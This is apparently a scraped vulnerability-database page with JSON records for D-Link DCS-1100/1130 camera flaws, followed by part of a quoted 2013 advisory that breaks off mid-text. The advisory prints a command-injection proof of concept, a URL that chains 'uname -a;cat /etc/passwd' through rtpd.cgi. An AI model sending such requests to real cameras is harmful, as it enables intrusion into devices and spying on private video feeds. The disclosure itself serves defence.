"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-255",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116620"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/255.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "VULHUB",
"id": "VHN-116620"
},
{
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-119"
},
{
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "VULHUB",
"id": "VHN-116620"
},
{
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-119"
},
{
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116620"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"date": "2019-07-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-119"
},
{
"date": "2019-07-02T21:15:10.633000",
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"date": "2019-07-08T00:00:00",
"db": "VULHUB",
"id": "VHN-116620"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"date": "2019-07-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-119"
},
{
"date": "2024-11-21T03:34:00.100000",
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote or local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-119"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and DCS-1130 Vulnerability in certificate / password management on devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "trust management problem",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-119"
}
],
"trust": 0.6
}
}
var-201907-1065
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called "Authenticate" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there. D-Link DCS-1130 and DCS-1100 The device contains an authentication vulnerability.Information may be obtained. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in D-LinkDCS-1130 and DCS-1100 due to the fact that the program did not perform an authentication check by default. An attacker could use this vulnerability to view images taken by the camera
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1065",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8405",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2017-8405",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-23338",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-116608",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8405",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 7.5,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8405",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8405",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8405",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-23338",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-127",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116608",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2017-8405",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "VULHUB",
"id": "VHN-116608"
},
{
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-127"
},
{
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called \"Authenticate\" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there. D-Link DCS-1130 and DCS-1100 The device contains an authentication vulnerability.Information may be obtained. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in D-LinkDCS-1130 and DCS-1100 due to the fact that the program did not perform an authentication check by default. An attacker could use this vulnerability to view images taken by the camera",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8405"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "VULHUB",
"id": "VHN-116608"
},
{
"db": "VULMON",
"id": "CVE-2017-8405"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8405",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-127",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23338",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116608",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8405",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "VULHUB",
"id": "VHN-116608"
},
{
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-127"
},
{
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"id": "VAR-201907-1065",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "VULHUB",
"id": "VHN-116608"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
}
]
},
"last_update_date": "2024-11-23T21:37:04.801000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-287",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116608"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/287.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "VULHUB",
"id": "VHN-116608"
},
{
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-127"
},
{
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"db": "VULHUB",
"id": "VHN-116608"
},
{
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-127"
},
{
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116608"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-127"
},
{
"date": "2019-07-02T20:15:10.870000",
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23338"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116608"
},
{
"date": "2021-04-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8405"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014556"
},
{
"date": "2021-04-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-127"
},
{
"date": "2024-11-21T03:33:58.197000",
"db": "NVD",
"id": "CVE-2017-8405"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-127"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 and DCS-1100 Authentication vulnerabilities in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014556"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "authorization issue",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-127"
}
],
"trust": 0.6
}
}
var-202001-0841
Vulnerability from variot
An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. Advisory Information
Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release
- Vulnerability Information
Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603
- Vulnerability Description
Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:
- [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
- [CVE-2013-1600] to access the video stream via HTTP,
- [CVE-2013-1601] to access the ASCII video stream via image luminance,
- [CVE-2013-1602] to access the video stream via RTSP,
-
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
-
Vulnerable Packages
The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.
[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO
[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1602] . ALL mentioned devices and firmware.
- Vendor Information, Solutions and Workarounds
D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.
- Credits
[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
7.1. OS Command Injection
[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':
/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:
/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:
/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/
7.2. ASCII Video Stream Information Leak
[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:
